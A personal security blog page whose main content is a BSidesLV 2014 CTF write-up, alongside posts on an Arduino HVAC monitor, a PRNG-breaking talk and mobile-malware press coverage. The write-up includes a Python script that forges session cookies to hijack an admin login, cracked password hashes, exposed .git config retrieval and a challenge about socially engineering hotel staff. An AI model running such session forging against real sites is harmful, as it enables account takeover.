Darth Null’s Ramblings

DarthNull.org • About Ⓘ

Hello! I'm David Schuetz.
This is where I ramble about...stuff.

Internet of SCADA, or, why does my HVAC blow?

We live in a house that was new-built, so it’s got all the modern trimmings. It’s also got all the modern cut corners, including an air conditioning system (two, actually) that even 12 years later we’re still struggling with. It seems that every year or two something else goes wrong, especially with the combined cooling / heat pump unit that handles the upstairs.

I’ve been thinking for a while that I should be able to build a temperature monitor to track how the system is running, to detect problems (loss of freon, etc.) early, and maybe even forestall costly repairs. Maybe. So I asked for some Arduino gear for Christmas, and earlier this summer, I finally started playing around with it.

Then…right on schedule, in the height of the summer heat, our upstairs system stopped cooling again. Our HVAC company came out, pumped two pounds of freon into the system (I really gotta start doing that myself — far cheaper), and scheduled a comprehensive leak search for mid-September (just in case we have to disable the system for a long stretch, we wanted it to be in a season where we might not miss it).

Then just before I went to DEF CON, I noticed (using my 20-year-old Radio Shack thermometer) that the AC unit didn’t seem to be cooling as much as before. After returning, it seemed…okay…but still not ideal, so I rushed a (greatly simplified) monitoring circuit into play. I just got it working this week, and already I’m finding some interesting results.

I’m still trying to figure out the best way to sense thermostat calls for compressor, heat, and fans — do I use clip-on current sensors, inline current sensors, voltage drop sensors, opto-isolaters — and how do I integrate those sensors into the 1-Wire bus… So for now, I only have a few temperature sensors.

First, some eye-candy:

Two-day Stripchart

Here, the orange line is one of two sensors on a table (in the next graph they’re individually shown as red and blue). The green line is an outside temperature taken as an average of a few web-accessible weather stations in the area (a few in nearby neighborhoods, plus Dulles airport), so it’s a reasonable approximation of the temperature near my home. Blue is the air temperature at the cold air return directly above the desk (and thermostat), and red is the supply register (output vent) directly above a window, maybe 8 feet from the other three sensors.

One important measurement is the cooling drop produced by the A/C system. Because it’s currently malfunctioning I don’t have the compressor running. But I ran it for three brief periods, about a half hour each, just to see what it looks like on the graph. This is, in fact, the primary reason I wanted to start this project. One typically expects a 10-15 degree temperature drop across an A/C unit’s cooling coil, though the actual drop from cold air return back to the room might be a little less. After we had coolant added in July, my old thermometer measured that drop at just about 10 degrees.

When the compressor ran from about 1:45-2:30 on Tuesday, the supply and return lines were at the same temperature. That is, it showed ZERO cooling effect. When run twice that evening (about 8:00 and again about 11:00) the graph shows 2, maybe 3 degrees of cooling. So, obviously, it’s broken. My long term plan includes emailed and even a beeping alarm unit when this drop habitually reduces below some threshold….so I was glad to see what “broken” looks like so early in the system’s development.

What gets really fun is playing with the furnace fan. For about 90 minutes (after I first turned off the compressor) I left the fan set to “on,” that is, continuously running. The air coming out of the register by the window was consistently 5 or more degrees warmer than what went into the system at the cold air return in the same room. So either I’m getting an ambient heating effect from the vent’s location (in the ceiling, near a large window), or the duct work in the attic is heating things up significantly.

Then I turned off the furnace fan, and the register temperature continued to rise, until I switched to “Circulate,” in which the furnace fan cycles on and off. I’d had no idea how that mode actually worked (I vaguely presumed it was somewhat tied to the thermostat, and might be if the room temperature was actually close to “reasonable”) but here it seems to just be about 15 minutes on, 15 minutes off.

When the fan first kicked in, the register temperature shot up (probably expelling warm air that’s been sitting in the attic ductwork), then it drops a bit, and sort of settles for a bit. Then it drops again (I guess when the fan turns off — again, I really need a sensor on that relay), and then shoots back up again when the fan restarts. You can really see the pattern on Wednesday afternoon, where the low temperature (fan off) seems to be about equal to the room temperature, while the high temperature climbs in a fairly obvious curve.

Finally, about 2:30 on Wednesday I switched the fan back to “constantly on” and saw the temperature rise again, but then it stabilized somewhat lower than the curve I discerned before. Perhaps the constant flow kept the air in the ductwork from warming up exponentially (like in a greenhouse) but heat was still being transferred even to the moving air.

I ended the experimenting about 4:00, when I switched the fan off completely, and the register temperature dropped back to match that of the other sensors in the room (which was pretty close to the outside temperature as well).

In fact, there’s a pretty strong correlation (well, visually, anyway…I’m not enough of a data geek to quantify that correlation) between the outside temperature and that of the air coming through the register. So again, there’s something happening here, either heating in the attic, or some halo effect near the window / ceiling location of the sensor, or maybe a little of both.

Then yesterday I tried something different.

Fan Details

Here, the red and blue lines are the sensors on the table (actually in adjacent holes on a breadboard, so it’s interesting to see the blue sensor lagging the red one), the orange is the output (register) temperature, and the green is the cold air return (about 5 feet above the table). What’s really important is the relationship between the vent and the other three (which kind of give a general ambient room temperature). (these are the default colors my RRD setup uses, not the custom setup I used when I hand-crafted the first graph from logged data).

We know that our A/C will be down for a while, so we elected to just wait until the scheduled leak test in a couple weeks…partially as an experiment in A/C-free living (which our kids don’t appreciate quite as much, BTW). So we put a window fan in the bedroom, right below the A/C register I keep referring to. Overnight, it’s set to pull cooler air in from outside. During the day, it blows air out, on the theory that it’ll pull cooler air from the basement and 1st floor, which has an HVAC system that’s still working. I don’t remember when I switched direction on the fan, but it was probably between 7:30 and 8:00.

Shortly afterwards, the register temperature climbs steadily, which isn’t surprising given the past data and the fact that this window gets full sun in the morning. Then, just to verify the previous days’ data, I turned the furnace fan to continuous on at about 1:30. The temperature at the register dropped over 5 degrees, but still remained significantly higher than the temperature in the room. I turned it back off, and the line climbed back up to resume the earlier slope. Then I had a crazy idea: What if the window fan was sucking air out of the register? I turned it off, and the temperature plummeted, back to an unsteady 2-3 degrees above the room temperature. Turning the furnace fan back on again resumed the high temperature readings from that register, higher than before, but still consistent with the rising temperatures outside (not shown on this graph). When it was finally turned off, with the window turned off, the temperature fell to match the rest of the sensors in the room.

With the window fan and furnace fans both turned off, today’s graph has been four very similar lines, all within about 3 degrees of yesterday’s values at the same time. Certainly, the weather today may be different from that of yesterday or the day before (it got quite cool Tuesday night due to some rains in the area), but I’m hoping that the system will show that the room temperature is a little more stable (and hopefully lower) now that I’m not sucking hot air out of the attic ductwork.

I’m also more than a little concerned about my preliminary conclusion, that the attic adds 5 or more degrees to the air as it passes through the system. If the coil is really expected to drop air temperature by 10-15 degrees, then I’m losing a full 33% efficiency just by exposure to the attic air (and these systems are so efficient to begin with). There’s a roof-mounted ventilation fan, which should be pulling some hot air out of the attic, and monitoring that (and the attic temperature in general) is on my list for this project.

But I feel like the ductwork shouldn’t be absorbing that much heat to begin with. I don’t know if it’s a function of the air return, or the air distribution, or the furnace unit itself, but it really does seem like I may need to do some work up there. Right now, it’s a rat’s nest of flexible ductwork, leading from the furnace to smaller distribution boxes to further flexible ducts, etc. All of them are running at 4-6’ above the attic floor, with long swoops and droops. I seriously wonder whether ripping that all out and installing rigid ducts, at the floor joist level and covered with heaps of blown-in insulation, might make a significant difference here.

It’s also possible that the heat increase isn’t coming from the attic at all, but from the much larger cold air return in the hallway by the kids’ rooms. I’ll need to get another sensor over there to see if that’s the case, but generally, the master bedroom (where all these other sensors are located) feels a lot warmer than the hall, so I’m still leaning towards the attic ductwork being a problem.

Either way, this is an amazing amount of information, and may already be helping me better understand and diagnose our long-running HVAC problems, all from only a couple days’ worth of logging and an Arduino-based sensor that took less than a day to cobble together (ignoring delays from a failed WiFi breakout board). I can’t wait until I have both my HVAC systems fully instrumented, with real local outdoor and attic temperatures as well.

Yay, data!

BSidesLV 2014 Badge Contest

BSidesLV 2014 Badge

I was in Las Vegas for another Security Summer Camp, and for the past 5 years a major part of that has been Security BSides, or BSidesLV. I checked in and only barely got a badge, as they had just run out (but while I was standing there looking sad, someone stepped up with an extra…crisis averted!)

It didn’t take long for me to notice a faint QR code on the back of the badge, but I didn’t bother to read where it led at this point. I hung out for a while, watched an interesting talk on PRNGs, and went back to my room at Black Hat to unwind after a long travel day.

The next morning, I looked at the contest and thought it should be fun. It generally followed a popular Jeopardy structure often seen in Capture the Flag (CTF) games, with five categories of challenges:

Each category had five challenges, worth 10, 20, 30, 40, and 50 points. The first person to solve each challenge earned a 25% bonus as well.

One interesting twist was that it worked like a bingo board: completing five challenges in a row (across, down, or diagonal) earns a significant bingo bonus — 150 points for the first to complete a particular bingo, 100 for subsequent matching bingo sets. But to make it a little harder, the challenges were mixed up such that any valid bingo needed one of each category.

Here’s what the board looked like at the beginning of the game:

Full BSidesLV Puzzle Board

Players needed to click on each square to reveal the challenge and point value (between 10 and 50 points). To earn credit for a challenge, the players simply emailed their handle, the challenge name, and their answer, and it would be manually reviewed and added to the system. The middle square (usually a “free space” in bingo) was worth ten points, and served as the entry point into the game.

I was able to solve 15 of the 25 challenges, in just under 16 hours (though for the last one, the judges ruled that I’d been given too many hints…more on that later, but it was a fair decision).

** SPOILERS BELOW ** If you’d like to try to solve some of these challenges on your own (mostly the Crypto and Password Cracking ones), go to this spoiler-free list of challenges.

Completed Challenges

Do It: CHALLENGE ACCEPTED! (10 points)

TimeFirst?Completed by
8:18 amNo 22 people
You've found this site, ergo you probably have a BSLV5 Badge. Send an e-mail to BSLV5@Urbane.sh with the subject "$yourhandle CHALLANGE ACCEPTED" to register.

Simply join the challenge. The overall game instructions said to include “Key: Legeneary” in the body of the email, so I did, just to be sure.

Misc: House Party (50 points)

TimeFirst?Completed by
8:21 amNo 5 people
Visit the first two BSides Houses and take a photo of you in front of them.

I didn’t go to the first BSides, but did make it to the second and remember it being a really great location. It took a little while to find the right addresses, but I drove by both and took a lousy selfie in front of each.

First House, BSidesLV 2009 Second House, BSidesLV 2010

Crack It: Easy Peasy (10 points)

TimeFirst?Completed by
9:00 amNo 19 people
MD5 7ea04a3b047bc6364839c2dd34eccbb7

I think I just googled for this one. Definitely lived up to its name — just an MD5 hash of the word “nightowl”.

Decipher It: Knock Three Times If You’re There (30 points)

TimeFirst?Completed by
9:01 amYes2 people

This was pretty clearly a Base-64 string. Decoding this gives…another Base-64 string. RWtWQ1JFSVZWRE0wTVJSRA== And another. EkVCREIVVDM0MRRD Then finally, the decoder produced a binary string. Looking at that in hex shows something kind of interesting — all the digits are between 1 and 5.

1245 4244 4215 5433 3431 1443

This, along with the challenge name, leads me to try a Knock Code:


Using the hex digits as row and column coordinates gives the answer for this challenge: “BURT REYNOLDS”.

Do It: $.02 (20 points)

TimeFirst?Completed by
9:14 amNo 2 people
Post an honest and detailed review online (of 1000 characters or more) of a talk you attended. Can be positive, neutral, or otherwise.

Fortunately, I had gone to a pretty interesting talk the day before, so I wrote up a quick little review and posted it. BSidesLV Mersenne Twister Talk

Crack It: LAme MAN…. (30 points)

TimeFirst?Completed by
10:01 amNo 9 people
LM F6853114CCD860A7823031F4926E4DEE

Another quick password cracking exercise. I found an online tool, pasted in the hash, and quickly got the answer: “KR!3GERB0TSF7W”

Decipher It: Not Quite, Julius (10 points)

TimeFirst?Completed by
10:08 amYes3 people
Clue: 0123456789....

I immediately recognized that this was basically a Vigenère cipher, and the clue gave is the key: ABCDEFGH… The result was: “GREENMANTLE”.

Decipher It: WOPR With Cheese (20 points)

TimeFirst?Completed by
10:40 amYes1 person
Something seems to be off with the WOPR today. 

WOPR Image

I stared at this picture for a while but couldn’t think what to do with it. The most likely course was that the image had been changed somehow, so I found the original image. But all the text seemed unchanged. At this point I was thinking there was a message hidden using steganography or something, and kind of stopped thinking about it for a while (I hate stego :)).

So, I moved on to the “Under the Door” challenge, and called the phone number in the image. It was the front desk at the Palm hotel, so I asked for Zack’s room, thinking I would get a recorded clue. Instead, I ended up talking to SecBarbie, who seemed surprised I had called. So I didn’t walk away completely empty handed, she suggested where I should look in the image.

Sure enough, on the bottom right edge of the “Time Remaining” box, was a section of line that appeared darker than the rest. Flipping back and forth between the original and new image, it became even more apparent. I zoomed in, hoping to see a message, but instead saw a series of oddly colored pixels.

Embedded message in WOPR image

Using an image editor, I found the RGB color values for each pixel, and treated those as ASCII values, which revealed the solution: “Flag=ASD5AS3587F8H9FRT8D5F2G3”.

Decipher It: Under The Door (40 points)

Completed: 10:51 am, 40 points + 10 point bonus for solving first, cumulative score 246 points

Completed by 1 person

TimeFirst?Completed by
10:51 amYes1 person
Discovered this hidden message under my door....

Under the door

I saw this, and it was very obviously an Enigma message. The trick is to find all the correct settings for the machine, and almost everything was easily available right here. Rotor starting point: 14-23-0 (or “O-X-A” depending on the tool you use). Stecker settings: AG, BT, CZ, etc. (on the right side of the note). All that’s remaining is the rotor order (frequently rotors I, II, and III, in that order) and ring settings (many tools default to AAA or 000).

Trying with the default rotors / rings didn’t work. But there’s something written behind the scribbled out lines on the left. The top says “3-1-2” but the bottom “15-24-1”. Trying those together didn’t work, but it seems pretty likely that 3-1-2 is the correct rotor order settings. So where are the ring settings?

As described earlier, I’d tried calling the phone number on the note, but that didn’t get me the ring settings. I stared at it for a little while longer, then realized — “RING” is written directly above the area code “702”. That’s probably the ring settings. duh.

Another problem with Engima in puzzles is that there are a lot of online tools and applets, but at least a few of them are slightly off in one way or another. Fortunately, I wrote my own some time ago, so testing many different settings is pretty trivial:

$ pbpaste | python trySetting.py  -p AG-BT-CZ-DP-EM-FW-IR-LX-NO-SU -s OXA -w 312 -r HAC

So the answer to this challenge was “ARE WE NOT DOING PHRASING ANYMORE ZF”.

Hack It: Our Bug Bounty Program (10 points)

TimeFirst?Completed by
11:39 amNo 5 people
Submit your best fake-bug discovery (i.e. information disclosure through copy/paste to other applications).

I really wasn’t sure how we were supposed to do this, so I replied with a real bug discovery notice, but also included a lame “Did you know that if you use a password manager you might accidentally paste your password into a group Skype chat?” kind of “disclosure.”

Apparently that wasn’t quite good enough, and as a copy/paste “bug” was used in the example, I was told to try again. I then submitted this:


There’s a horrible vulnerability in the hotel! You can open ANY room with this bug!

Take your hotel room key.

Go to any other room (for example, Sec Barbie’s room, which number i don’t know yet but I have minions trying to find it for me), and then using the card..

** shove it between the door and the door jamb.**

If you do it JUST RIGHT, in the right place, you can push the door latch over and open the door.

now you’re in the room. 

Scary, eh? You’d think they’d have fixed this by now. 

I got “C+ for effort” but was given credit for the challenge anyway. I guess I’m just not very good at creating fake bug reports.

Hack It: This Concludes Your Evaluation (30 points)

TimeFirst?Completed by
1:45 pmNo 4 people
Determine the successful password for http://bslv5.urbanesecurity.com/hackit2.html

This challenge presented the player with a simple web form: a single text field and a submit button. Enter the wrong value in the field, and the page just reloads. Enter the right value, and you get “Login Successful.” What’s the right value?

The submit form calls a “passcheck” function, but I can’t read the actual function because the script has been obfuscated. I tried some online de-obfuscating tools, it was still pretty hard to read. Someone suggested simply trying “eval” in a browser javascript console (which should have been obvious from the challenge name). Why worry about de-obfuscation tools when the browser will just do it for you?!? (well, there are some good reasons to not use the browser for this, but for a contest, I think it’s probably safe…)

javascript eval

That gave me the correct answer: “CyrilFiggis”.

Misc: Potent Potables (20 points)

TimeFirst?Completed by
2:01 pmYes2 people
Take a photo of you doing a shot with a BSidesLV staff member.

I sent a friend, co-worker, and BSides Goon off in search of a shot glass to complete this (obviously easy) task, and surprisingly, he couldn’t find one anywhere on the main conference floor. But as I was heading out of the building to go back to Mandalay Bay and afternoon talks at Black Hat, I was interrupted by Todd Kimball who asked me to taste a particular whiskey he had in a coffee cup. It wasn’t a shot glass, but it was booze, and he was a staff member.

Doing a shot

Amazingly, I was the first person to complete this challenge.

Hack It: You Can’t Ignore This (20 points)

TimeFirst?Completed by
3:56 pmNo 3 people
Determine the key hidden at http://bslv5.urbanesecurity.com/~urbanesec/. Note: everything in /~urbanesec/* is fair game.

I was tuck on this for a long time. The page simply shows “Find the key inside this file.”

First, I tried to figure out what the “ignore” in the title meant. I knew there was something obvious that I was missing, but I just couldn’t think of it (it was like deja vu — I could sense an obvoius use of ignore but just couldn’t pin it down…)

At one point Zack even told me “I’d work more on “You can’t ignore this”. That one is the easiest to git.” But I didn’t notice the hint.

Then sometime later, it hit me — git ignore. Duh. The key must be in there So I tried grabbing the .gitignore file, and sure enough, there was a single file listed. But the contents of that file didn’t help at all. I thought, I must need to descend into the .git folder — I should be able to find the index.php file there directly. But none of the standard folders seemed to exist, or at least, the webserver wasn’t serving them up to me. And also my cellular connection (in the talk I was sitting in at the time) wasn’t being very cooporerative, and half my page fetches weren’t even working anyway.

Eventually, I found my way to a window and got a stronger connection, but I still couldn’t get the answer. I asked @sibios if he had any suggestions, and he helped me re-focus — suggested I create a new git repository and look at what files are created by default. There’s a “config” file — that was the trick.

Git transcript

The answer to this stage, then, was, “BurtReynoldsIsOnThePHONE!” Which gave me another 20 points, and my first bingo! At least 100 points, probably 150, but at this stage I’m not positive whether the scoreboard is current or if anyone has caught up to me. So, just to be sure that I don’t get caught, I keep working on the Shortener challenge…

Hack It: Short Challenge (40 points)

TimeFirst?Completed by
6:18 pmNo 4 people
Discover the key at

This one took me a long time to figure out — most of the day, in fact. The site was a simple field, but when you entered a URL, it would return a special shortened URL. My initial thinking was that I was looking for a key in the cryptography sense, and had to figure out how the random bit at the end of the shortener was derived. Zack helped me out pretty early by reminding me that this was a “Hack” category, not “Crypto.”

I tried a bunch of things, thinking to break the system somehow: SQLi to dump something in the table PHP source code disclosures, etc. The tool verifies that the remote site entered was valid — possibly something there. Interestingly, when you tried to shorten itself, it seemed to crash.

I set up a simple python http server on a remote Linode instance, just to see what the script did — it’s simply sending a “GET” command for the URL entered. I thought “I should try checking the HTTP headers” but didn’t at that time.

So I set it aside, worked on other problems, went to some talks, etc., and then some Twitter exchanges with @sibios helped me to remember that I’d never actually looked at the http headers presented by the shortener script. So I went back to the remote host, set up netcat listening on port 8000, and asked the tool to shorten a fake URL on that site. This is what I saw:

Shortener Key

So the solution to this challenge, which gave my my second bingo of the day, was “This is a pretty sweet key”.

Decipher It: One More Time (50 points)

TimeFirst?Completed by
11:56 pmYes0 people (officially)

NOTE: Points not actually awarded. Had this counted for the record, would have added 50 points + 13 point bonus for solving first, with a final score of 734 points.

(A clue added later: "Remember that one time, with Ceasar, things got insane at the Ninja party?")

By now, I was pretty confident that I had done just about everything I could today, though I still really wanted to get the last crypto puzzle. But it was time to eat, so off I went to a great hacker buffet at The Wynn. While there, I returned the favor to @sibios and helped him complete Knock Three Times.

I didn’t get back to my room until 11:45, and I emailed Zack to say that I was going to give it one last try. I asked if he could give me any last hints without giving it away, and mentioned what I had tried so far.

I had decided early on that this was probably a one-time pad (OTP), but where to find the key? The later hint suggested Caesar, but I knew that for a 50-point puzzle this couldn’t be just Caesar. I tried many words and phrases, parts of the lyrics to the song “One More Time,” and just couldn’t make anything work.

At 5:30, while still trying to figure out the Shortener challenge, he told me “Here at Urbane Security, we love one time pads….almost as much as we like Caesar salads (no anchovies of course)”. It was at about this time that I noticed that “Urbane Security” had the same number of characters as the cipher text. But that alone didn’t work.

Maybe it was a two-step process, though that’s usually a lot harder on players because you don’t get any real feedback on the intermediate success. Still, a just doing a simple ROT-x after using the one-time pad doesn’t seem too outrageous, so I checked all the possible shifts and found nothing.

“Security BSides” also had the right number of letters, so I played with that for a while. I tried shifting each key then using it with the OTP, or using one for OTP and another for a keyed Caesar, or the same parts but in the other order, etc. Finally, I had simply given up in favor of food.

But now I was back in my room and had described some of all that (in greatly abbreviated form) to Zack.

On Wed, Aug 6, 2014 at 11:52 PM, Zack Fasel wrote:
> "also tried using urbanesecurity as the OTP and 
> then rotating the output through all 26 (25, 
> but whatever) shifts"


Ha! I must have been on the right track after all. I tried reviewing my steps, and was in the middle of responding with some examples of what I’d tried, when he sent another note:

try it with rot 3 and let me know if it starts with "ILL"

I saw the ROT-3 but not the other part… and, squinting at the screen, saw the answer.

The correct solution was “ILLGOFETCHARUG” (“I’ll go fetch a rug.”). Zack sent along this Sterling Archer video too, by way of explanation. Which confirms that I should definitely watch this show. (I somehow suspect a lot of the other answers came from this same source).

But hadn’t I tried exactly this before? Scrollback confirmed, I totally missed it, hours before:

Totally missed this

In the end, Zack felt that he’d given me too many hints (especially the last “look at ROT-3” suggestion), and that he wasn’t sure should give me credit for it. Which I can kind of understand. Having another box checked off would’ve been nice, but the fact is I completely missed it before, and quite possibly could have missed it again. Skimming the output, glancing at the start and end of each line, “ILLGOFE…” and “…HARUG” just don’t jump out. So it’s pretty easy to miss.

Challenges I didn’t complete

Do It: Pick 3 (40 points)

TimeFirst?Completed by
0 people
Submit a photo of signed evidence that you picked 3 Locks comprising of Easy (3 pin), Medium (5 pin), and hard (5 pin + 2 security pins) in 7 minutes or less in the lockpick area.

Crack It: Don’t Eat That! (50 points)

TimeFirst?Completed by
0 people
Crack this admin's password:01c1fe5112f563e030f6aba0f51be085

Zack provided me with the answer so I could share it here: “Trufflepig1986?”.

$ python
Python 2.7.5 (default, Mar  9 2014, 22:15:05) 
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib, binascii
>>> hash = hashlib.new('md4', 'Trufflepig1986?'.encode('utf-16le')).digest()
>>> binascii.b2a_hex(hash)

Misc: Jack and Coke? (40 points)

TimeFirst?Completed by
1 person
Take a photo of yourself with a signature drink vessel at Jack Daniels signature Las Vegas drinking establishment.

Misc: Cannoonnballll! (10 points)

TimeFirst?Completed by
0 people
Take a video (must be a video) of you taking a cannonball jump into the pool.

Crack It: Such Admin, Very Weak (20 points)

TimeFirst?Completed by
0 people

I later spoke with Zack (after solving Babytown Frolics) and he told me he’d hoped that someone would get this with a decent wordlist and mutation engine. The password was “Summer14!” which, honestly, I’m a little disappointed JTR didn’t find for me. :(

The hash was a salted-SHA-512 hash, 5000 rounds:

Python 2.7.5 (default, Mar  9 2014, 22:15:05)
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
Type "help", "copyright", "credits" or "license" for more information.

>>> from passlib.hash import sha512_crypt
>>> sha512_crypt.encrypt('Summer14!', salt='DwjR36pA', rounds=5000)


Hack It: Babytown Frolics (50 points)

TimeFirst?Completed by
2 people
Discover the key at

This challenge presented the user with a simple name and password form, and nothing else.

So many of the results in this contest included references to the TV show Archer, that I finally broke down and watched it. It’s a helluva show. About halfway through the first one, Archer breaks into a mainframe using the password “guest” and, amazed at how easy it is, exclaims “Babytown frolics!” I just about jumped off the couch, shouting “AHA!” After the show was done, I ran downstairs and figured this out in like 15 minutes (though I needed Zack to “prime the contest” as it were, and some time to build a functional script….)

Entering “guest” as both userid and password, the player is presented with a screen like this:

No Flag For You

If you click on the “latest user logs” you get a time-stamped list of logins. When I was working on this, the program had been reset, so I needed Zack to log in as admin once. At that point, the history looked like this:

Login History

Looking at the cookies for the page, I see a single session ID cookie:

$ echo 'MTQwNzkwMDUzMTMyTk9UVEhFS0VZ' | base64 -D

That’s “not the key”, as it clearly says, but it’s damned close. The first 10 digits of this cookie represents the UNIX timestamp for when the cookie was created (when the user logged in), then there’s a (seemingly random) 2-digit number, and then the string “NOTTHEKEY”.

So if I build a script like this:

import sys, time, calendar, base64, urllib2

target_date = sys.argv[1]

stamp = calendar.timegm(time.strptime(target_date, '%b %d %I:%M:%S %Y'))

for x in range(0,100):
    cookie_str = '%d%dNOTTHEKEY' % (stamp, x)
    cookie = base64.b64encode(cookie_str)

    opener = urllib2.build_opener()
    opener.addheaders.append(('Cookie', 'sid=%s' % cookie))
    url = ''
        resp = opener.open(url)
        print resp.read()
        print x

and call it like this:

python doit.py "Aug 13 03:06:42 2014"

(where the timestamp was the last time Admin logged in), then I get an output like this:

$ python doit.py "Aug 13 03:06:42 2014"
<head><title>Quite the application</title></head><body><h1>Welcome, my admin from another mother!</h1><br />
<h2>Your flag is: "I couldn't have done it without Morris Day and Jerome."</h2><br />
<a href="/log">See the latest user logs</a>
<a href="/logout">Logout</a>

On the fourth attempt, I was able to match the admin’s session cookie, reload the page with his permissions, and see the flag. Simple session hijacking and privilege escalation. Very nice.

Do It: Wheels on The Bus (30 points)

TimeFirst?Completed by
0 people
Start a sing along of "wheels on the bus", "99 bottles of beer on the wall", or even more creative (i.e. I am woman hear me roar) sing along on the bsides shuttle and video it!

Do It: ALL THE THINGS! (50 points)

TimeFirst?Completed by
0 people
Attend a talk in Common Ground, Breaking Ground,  Proving Ground, and and a PasswordCon Track and the After Party and get a photo with a speaker from each (after their talk in the talk room) and one of the party DJs (during the party)

Misc: Special Delivery (30 points)

TimeFirst?Completed by
1 person
Find out and submit @SecBarbie's room number at the Tuscany. Social Engineering of Hotel Staff is a possibility.

Crack It: NyanNyan! (40 points)

TimeFirst?Completed by
0 people
NTLM E6E813370ACB92129BDA449EE25E0FA4

After speaking with Zack, it seems this (and “Don’t Eat That!”) were both pretty difficult NTLM hashes. But since Passwords Con was running in the same space as BSides, he figured there’d be at least a couple people able to throw some real cracking gear against these hashes. Guess nobody tried. :(

As with the other two passwords I didn’t crack, Zach shared the answer with me so I could put it here: “$R4nd0m9!”.

$ python
Python 2.7.5 (default, Mar  9 2014, 22:15:05) 
[GCC 4.2.1 Compatible Apple LLVM 5.0 (clang-500.0.68)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import hashlib, binascii
>>> hash = hashlib.new('md4', '$R4nd0m9!'.encode('utf-16le')).digest()
>>> binascii.b2a_hex(hash).upper()

Overall Score

My final bingo scoreboard looked like this:

My Final BSidesLV Puzzle Board

All My Scores

TimeChallenge NameFirst?PointsCumulative
8:18 Challenge Accepted No 10 10
8:21 House Party No 50 60
9:00 Easy Peasy No 10 70
9:01 Knock Three Times If You’re There Yes 38 108
9:14 $0.02 No 20 128
10:01 LAme MAN… No 30 158
10:08 Not Quite, Julius Yes 13 171
10:40 WOPR with Chese Yes 25 196
10:51 Under the Door Yes 50 246
11:39 Our Bug Bounty Program No 10 256
1:45 This Concludes your Evaluation No 30 286
2:01 Potent Potables Yes 25 311
3:56 You Can’t Ignore This No 20 331
3:56 BINGO Yes 150 481
6:18 Short Challenge No 40 521
6:18 BINGO Yes 150 671
11:59 One More Tme (Yes) (63) (734)

And, yes, I won. Thanks so much to Urbane Security for sponsoring the contest, and to Zack Fasel for putting it together and running it. This was one of the best contests I’ve played in a while, and was not only challenging, but also exciting (and a bit stressful, worried that someone might snipe me with solutions at the last second and best me…) Though that also kind of added to the excitement.

Congratulations also to Sibios (248 points), Spiral Suitcase (228 points), R4V5 (196 points) and Shadghost (130 points), rounding out the top 5, of the 23 who played.

BSLV 2014 - Breaking PRNGs

So I’m back in Las Vegas for another Hacker Summer Camp. After getting to town, checking in at Mandaly, and getting to BSidesLV, I hung out for a while and then decided I should check out a talk.

I didn’t have too much time that I could spend here, as I had to get back to BH for some volunteer duties, but I really was curious about the Mersenne Twister talk by Moloch and Dan Petro.

The Mersenne Twister is a pseudo random number generator (PRNG) that is used by many systems as a way to generate, well, random numbers. The problem is that it’s predictable, as are many other PRNGs. If you can figure out the original “seed” then you can predict the state of the PRNG system at any time and thus predict future random numbers.

In this talk, they described how PRNGs worked, showed some of the weaknesses, and then demonstrated some tools that they can use to break PRNG sequences. Since the seeds for some of these are pretty small (32 bits or even less), they can frequently be broken offline using nothing more powerful than a laptop.

Of course, if you’re attacking a remote site you might not have access to every single consecutive number in a random number stream, but their tool accounted for that too. If you enter some number of, well, numbers, it can then look for sequences with that number in it, where they’re all either directly consecutive or maybe spaced by a few intermediate numbers.

The key problem, they said, was one of “depth” — how far do you try working a seed to see if you’ve found the observed sequence before you assume you’re on the wrong seed and try another? Their tool has the ability to modify depth and other parameters, and thus does a pretty good job of breaking the sequences in many “normal” situations.

All in all, it was a very interesting talk. PRNGs are a bit of a “black box” to many people, and understanding how they work, how easy (some) are to break, and having a tool to demonstrate that (and even use it in a real world test) is definitely a valuable skill to have. I highly recommend checking out the video and/or slides once they’re posted.

More Mobile Malware Melodrama

A few days ago I commented on the iOS malware situation. One might sum it up as “fanboys smugly assert there is no iOS malware; anti-fanboys smugly point to this list as proof that the fanboys are idiots.”

Then not three days later, American Banker posted an article about Svpeng, an existing trojan that’s been making the rounds in Russia and is now hitting US users.

What I found most interesting about that article is this: Not once do they mention the platforms affected by the malware. Hell, even the Kaspersky press release is coy about it, only using the word “Android” once, and that in their formal name for the trojan (Trojan-Banker.AndroidOS.Svpeng.a). This trojan seems to have been out for almost a year, but now that it’s hitting US users, Kaspersky is putting on a full-court press in the…er…press… (I should really steer clear of sports analogies). Predictably, I’ve had customers anxiously asking about the trojan, and whether they or their customers should be concerned.

A quick Google search on the trojan’s name nets 1 scan and 1 summary report from Virus Total, and 9 (mostly breathless) news reports about this horrible new scourge that the banks can’t do anything about. Most of these seem to be regurgitated press releases or wire reports, with no useful details at all. And, again, most of these don’t mention what platforms the malware attacks.

So what does this thing actually do? I found a mention on Emerging Threats from January, and some more details from Kaspersky from last November, but thus far, it’s damned near impossible to figure out just how this spreads, let alone how to block it.

What I wish Kaspersky had put in their press release (which would’ve percolated to many of the hundreds of articles simply repeating their information) was:

and so on.

If the folks discovering, naming, and alerting the public about the malware (Kaspersky), and the relevant industry-specific press (American Banker) can’t explain the problem in useful terms, should we really be surprised when mainstream press can’t do any better? (also, 10:1 this is on all the morning shows by the end of the week). Which means that soon, everybody will be asking about it, and worried about their data (and their money).

I’m just afraid that very few of us will be able to answer those worries with anything approaching a useful response.

Memory Pressure, Capacity Limits, and Ubiquitous Computing

One of the things I was most looking forward to with my new iPhone 5S was faster switching between applications. It seemed like my 4S always took 5-10 seconds to toggle between two programs, even simple apps. Jumping from Angry Birds to YouTube (to see what I’m doing wrong) and back again was agonizing.

Unfortunately, though the 5S is significantly faster, switching has in some ways become worse. The slowest reloads are faster, but I feel like I need full reloads more frequently. I’m convinced this is simply due to memory usage. Many applications (especially those with lots of full retina artwork) are taking the device to its RAM limits. No amount of new processor power can mask the fact that there’s just not enough memory in the device.

So it occurred to me a while ago — what if Apple can come up with a good way to load a program in memory in small chunks? Last year at WWDC, they showed off all kinds of processor and OS tricks to make OS X as power-efficient as possible. Could they do something similar for memory?

Rather than loading an entire application into memory at once, could iOS offer a way to let programmers break their apps into smaller chunks that are loaded only when needed? Kind of like the time-based grouping of operations in OS X, only focused on memory rather than CPU usage. Why should the code for managing app settings be in memory while the user is off shooting zombies? Do you really need chart generation code when we’re just editing text in a word processor?

